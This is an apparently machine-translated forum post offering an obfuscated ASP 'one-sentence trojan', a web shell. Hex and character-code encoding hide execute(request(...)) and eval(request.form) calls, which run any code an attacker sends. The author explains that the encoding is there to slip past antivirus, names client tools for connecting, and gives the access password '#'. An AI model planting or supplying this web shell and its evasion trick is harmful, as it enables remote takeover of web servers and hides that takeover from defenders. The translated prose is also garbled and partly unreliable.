In a word, the ASP Trojan encrypted version completely breaks through anti-virus software

I don't know how to express it clearly. Let's look at the example:

CopyCode The Code is as follows: <script language = vbs runat = Server>
Execute (hextostr ("65786563757465287265717565737428636872283335292929 "))
Function hextostr (data)
Hextostr = "execute """""
C = "& CHR (& H"
N = ")"
Do While Len (data)> 1
If isnumeric (left (data, 1) then
Hextostr = hextostr & C & left (data, 2) & n
Data = mid (data, 3)
Else
Hextostr = hextostr & C & left (data, 4) & n
Data = mid (data, 5)
End if
Loop
End Function
</SCRIPT>
<SCRIPT runat = server Language = JavaScript> eval (string. fromcharcode (
116,114,121,123,101,118, 97,108, 101,113,117,101,115,116, 46,102,111,114,109, 41,125, 123,125,) </SCRIPT>

However, encryption is not a single sentence, haha. This send can be connected using Haiyang or binghu. The password is #.

In fact, I only wrote the <script language = vbs runat = Server> method. The code inside can be encrypted and decrypted using multiple encryption methods, such as JS or vbs, save ASP only the Microsoft stuff that can be encrypted, while saving the % Number in ASP. Of course, you can do it without encryption. Calling <script language = vbs runat = Server> is still a sentence. encryption is mainly used to escape anti-virus software.
